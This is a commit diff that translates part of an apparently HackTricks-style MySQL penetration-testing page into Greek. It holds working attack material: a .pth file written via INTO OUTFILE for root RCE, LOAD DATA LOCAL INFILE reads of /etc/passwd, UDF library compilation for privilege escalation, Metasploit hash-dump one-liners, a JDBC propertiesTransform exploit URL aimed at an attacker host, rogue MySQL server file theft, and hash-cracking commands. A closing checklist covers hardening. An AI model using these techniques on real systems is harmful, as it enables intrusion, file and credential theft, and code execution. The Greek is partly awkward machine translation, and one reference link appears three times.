Translated ['src/network-services-pentesting/pentesting-mysql.md'] to el

This commit is contained in:
Translator 2025-08-14 04:41:18 +00:00
parent baac7723dd
commit f0978e8c85

View File

@ -111,11 +111,11 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
#### INTO OUTFILE → Python `.pth` RCE (ειδικές ρυθμίσεις ιστότοπου)
Καταχρώντας την κλασική πρωτοβουλία `INTO OUTFILE`, είναι δυνατόν να αποκτηθεί *εκτέλεση αυθαίρετου κώδικα* σε στόχους που εκτελούν αργότερα **Python** σενάρια.
Καταχρώντας την κλασική εντολή `INTO OUTFILE`, είναι δυνατόν να αποκτηθεί *εκτέλεση αυθαίρετου κώδικα* σε στόχους που εκτελούν αργότερα **Python** σενάρια.
1. Χρησιμοποιήστε το `INTO OUTFILE` για να ρίξετε ένα προσαρμοσμένο **`.pth`** αρχείο μέσα σε οποιονδήποτε φάκελο φορτώνεται αυτόματα από το `site.py` (π.χ. `.../lib/python3.10/site-packages/`).
1. Χρησιμοποιήστε `INTO OUTFILE` για να ρίξετε ένα προσαρμοσμένο **`.pth`** αρχείο μέσα σε οποιονδήποτε φάκελο φορτώνεται αυτόματα από το `site.py` (π.χ. `.../lib/python3.10/site-packages/`).
2. Το αρχείο `.pth` μπορεί να περιέχει μια *μοναδική γραμμή* που ξεκινά με `import ` ακολουθούμενη από αυθαίρετο Python κώδικα που θα εκτελείται κάθε φορά που ξεκινά ο διερμηνέας.
3. Όταν ο διερμηνέας εκτελείται έμμεσα από ένα CGI σενάριο (για παράδειγμα `/cgi-bin/ml-draw.py` με shebang `#!/bin/python`), το payload εκτελείται με τα ίδια προνόμια όπως η διαδικασία του web-server (FortiWeb το εκτέλεσε ως **root** → πλήρης προ-auth RCE).
3. Όταν ο διερμηνέας εκτελείται έμμεσα από ένα CGI σενάριο (για παράδειγμα `/cgi-bin/ml-draw.py` με shebang `#!/bin/python`), το payload εκτελείται με τα ίδια προνόμια όπως η διαδικασία του web-server (το FortiWeb το εκτέλεσε ως **root** → πλήρης προ-auth RCE).
Παράδειγμα payload `.pth` (μοναδική γραμμή, δεν μπορούν να περιληφθούν κενά στο τελικό SQL payload, οπότε μπορεί να απαιτείται hex/`UNHEX()` ή συγχώνευση συμβολοσειρών):
```python
@ -149,12 +149,12 @@ uid=0(root) gid=0(root) groups=0(root)
## MySQL αυθαίρετη ανάγνωση αρχείου από πελάτη
Στην πραγματικότητα, όταν προσπαθείτε να **φορτώσετε δεδομένα τοπικά σε έναν πίνακα** το **περιεχόμενο ενός αρχείου** ο διακομιστής MySQL ή MariaDB ζητά από τον **πελάτη να το διαβάσει** και να στείλει το περιεχόμενο. **Έτσι, αν μπορείτε να παραποιήσετε έναν πελάτη mysql για να συνδεθείτε στον δικό σας διακομιστή MySQL, μπορείτε να διαβάσετε αυθαίρετα αρχεία.**\
Παρακαλώ σημειώστε ότι αυτή είναι η συμπεριφορά που χρησιμοποιεί:
Παρακαλώ σημειώστε ότι αυτή είναι η συμπεριφορά που χρησιμοποιείται:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(Σημειώστε τη λέξη "local")\
Επειδή χωρίς το "local" μπορείτε να αποκτήσετε:
(Προσοχή στη λέξη "τοπικό")\
Επειδή χωρίς το "τοπικό" μπορείς να πάρεις:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -179,16 +179,16 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
```
#### Επικίνδυνες Ρυθμίσεις του mysqld.cnf
Στη διαμόρφωση των υπηρεσιών MySQL, διάφορες ρυθμίσεις χρησιμοποιούνται για να καθορίσουν τη λειτουργία και τα μέτρα ασφαλείας της:
Στη διαμόρφωση των υπηρεσιών MySQL, διάφορες ρυθμίσεις χρησιμοποιούνται για τον καθορισμό της λειτουργίας και των μέτρων ασφαλείας της:
- Η **`user`** ρύθμιση χρησιμοποιείται για τον καθορισμό του χρήστη υπό τον οποίο θα εκτελείται η υπηρεσία MySQL.
- Η **`password`** εφαρμόζεται για την καθορισμένη του κωδικού πρόσβασης που σχετίζεται με τον χρήστη MySQL.
- Η **`admin_address`** προσδιορίζει τη διεύθυνση IP που ακούει για TCP/IP συνδέσεις στη διαχειριστική διεπαφή δικτύου.
- Η **`password`** εφαρμόζεται για την καθορισμό του κωδικού πρόσβασης που σχετίζεται με τον χρήστη MySQL.
- Η **`admin_address`** καθορίζει τη διεύθυνση IP που ακούει για συνδέσεις TCP/IP στη διαχειριστική διεπαφή δικτύου.
- Η **`debug`** μεταβλητή υποδεικνύει τις τρέχουσες ρυθμίσεις αποσφαλμάτωσης, συμπεριλαμβανομένων ευαίσθητων πληροφοριών μέσα στα αρχεία καταγραφής.
- Η **`sql_warnings`** διαχειρίζεται αν παράγονται πληροφοριακές συμβολοσειρές για δηλώσεις INSERT μίας γραμμής όταν προκύπτουν προειδοποιήσεις, περιέχοντας ευαίσθητα δεδομένα μέσα στα αρχεία καταγραφής.
- Η **`sql_warnings`** διαχειρίζεται εάν παράγονται πληροφοριακές συμβολοσειρές για δηλώσεις INSERT μίας γραμμής όταν προκύπτουν προειδοποιήσεις, περιλαμβάνοντας ευαίσθητα δεδομένα μέσα στα αρχεία καταγραφής.
- Με την **`secure_file_priv`**, το πεδίο των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για την ενίσχυση της ασφάλειας.
### Ανύψωση προνομίων
### Ανάβαση προνομίων
```bash
# Get current user (an all users) privileges and hashes
use mysql;
@ -208,11 +208,11 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
```
### Privilege Escalation via library
Αν ο **mysql server τρέχει ως root** (ή ως διαφορετικός πιο προνομιούχος χρήστης) μπορείτε να τον κάνετε να εκτελεί εντολές. Για αυτό, χρειάζεται να χρησιμοποιήσετε **user defined functions**. Και για να δημιουργήσετε μια user defined θα χρειαστείτε μια **library** για το λειτουργικό σύστημα που τρέχει ο mysql.
Αν ο **mysql server τρέχει ως root** (ή ως διαφορετικός χρήστης με περισσότερα δικαιώματα) μπορείτε να τον κάνετε να εκτελεί εντολές. Για αυτό, χρειάζεται να χρησιμοποιήσετε **user defined functions**. Και για να δημιουργήσετε μια user defined θα χρειαστείτε μια **library** για το λειτουργικό σύστημα που τρέχει ο mysql.
Η κακόβουλη βιβλιοθήκη που θα χρησιμοποιήσετε μπορεί να βρεθεί μέσα στο sqlmap και μέσα στο metasploit κάνοντας **`locate "*lib_mysqludf_sys*"`**. Τα **`.so`** αρχεία είναι **linux** βιβλιοθήκες και τα **`.dll`** είναι οι **Windows**. Επιλέξτε αυτή που χρειάζεστε.
Αν **δεν έχετε** αυτές τις βιβλιοθήκες, μπορείτε είτε να **τις αναζητήσετε**, είτε να κατεβάσετε αυτό το [**linux C code**](https://www.exploit-db.com/exploits/1518) και να **το μεταγλωττίσετε μέσα στη linux ευάλωτη μηχανή**:
Αν **δεν έχετε** αυτές τις βιβλιοθήκες, μπορείτε είτε να **τις αναζητήσετε**, είτε να κατεβάσετε αυτόν τον [**linux C code**](https://www.exploit-db.com/exploits/1518) και να **τον μεταγλωττίσετε μέσα στη linux ευάλωτη μηχανή**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## 2023-2025 Highlights (new)
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
Από το Connector/J <= 8.0.32, ένας επιτιθέμενος που μπορεί να επηρεάσει το **JDBC URL** (για παράδειγμα σε λογισμικό τρίτων που ζητάει μια συμβολοσειρά σύνδεσης) μπορεί να ζητήσει αυθαίρετες κλάσεις να φορτωθούν στην *περίπτωση* μέσω της παραμέτρου `propertiesTransform`. Εάν μια συσκευή που είναι παρούσα στο class-path είναι φορτίσιμη, αυτό έχει ως αποτέλεσμα **εκτέλεση απομακρυσμένου κώδικα στο πλαίσιο του JDBC client** (προ-auth, επειδή δεν απαιτούνται έγκυρα διαπιστευτήρια). Ένα ελάχιστο PoC φαίνεται ως εξής:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
Η εκτέλεση του `Evil.class` μπορεί να είναι τόσο εύκολη όσο η παραγωγή του στο class-path της ευάλωτης εφαρμογής ή η αφήγηση ενός κακόβουλου MySQL server να στείλει ένα κακόβουλο σειριακό αντικείμενο. Το ζήτημα διορθώθηκε στην Connector/J 8.0.33 αναβαθμίστε τον οδηγό ή ορίστε ρητά το `propertiesTransform` σε μια λίστα επιτρεπόμενων.
(Δείτε την αναφορά του Snyk για λεπτομέρειες)
### Επιθέσεις από κακόβουλους / ψεύτικους MySQL servers κατά των JDBC πελατών
Διάφορα εργαλεία ανοιχτού κώδικα υλοποιούν ένα *μερικό* πρωτόκολλο MySQL προκειμένου να επιτεθούν σε JDBC πελάτες που συνδέονται εξωτερικά:
* **mysql-fake-server** (Java, υποστηρίζει εκμεταλλεύσεις ανάγνωσης αρχείων και αποσειριοποίησης)
* **rogue_mysql_server** (Python, παρόμοιες δυνατότητες)
Τυπικές διαδρομές επίθεσης:
1. Η εφαρμογή-θύμα φορτώνει το `mysql-connector-j` με `allowLoadLocalInfile=true` ή `autoDeserialize=true`.
2. Ο επιτιθέμενος ελέγχει την DNS / καταχώρηση host έτσι ώστε το όνομα του DB να επιλύεται σε μια μηχανή υπό τον έλεγχό του.
3. Ο κακόβουλος server απαντά με κατασκευασμένα πακέτα που ενεργοποιούν είτε την ανάγνωση αρχείων `LOCAL INFILE` είτε την αποσειριοποίηση Java → RCE.
Παράδειγμα one-liner για να ξεκινήσετε έναν ψεύτικο server (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
Στη συνέχεια, κατευθύνετε την εφαρμογή-στόχο στο `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` και διαβάστε το `/etc/passwd` κωδικοποιώντας το όνομα αρχείου ως base64 στο πεδίο *username* (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### Σπάσιμο κατακερματισμών `caching_sha2_password`
MySQL ≥ 8.0 αποθηκεύει τους κατακερματισμούς κωδικών πρόσβασης ως **`$mysql-sha2$`** (SHA-256). Και το Hashcat (λειτουργία **21100**) και το John-the-Ripper (`--format=mysql-sha2`) υποστηρίζουν εκτός σύνδεσης σπάσιμο από το 2023. Εξάγετε τη στήλη `authentication_string` και τροφοδοτήστε την απευθείας:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### Λίστα ελέγχου σκληροποίησης (2025)
• Ρυθμίστε **`LOCAL_INFILE=0`** και **`--secure-file-priv=/var/empty`** για να καταργήσετε τις περισσότερες πρωτογενείς λειτουργίες ανάγνωσης/εγγραφής αρχείων.
• Αφαιρέστε το δικαίωμα **`FILE`** από τους λογαριασμούς εφαρμογών.
• Στο Connector/J ρυθμίστε `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (κενό).
• Απενεργοποιήστε τα μη χρησιμοποιούμενα πρόσθετα πιστοποίησης και **απαιτήστε TLS** (`require_secure_transport = ON`).
• Παρακολουθήστε για δηλώσεις `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` και ξαφνικές δηλώσεις `SET GLOBAL`.
---
## Αναφορές
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}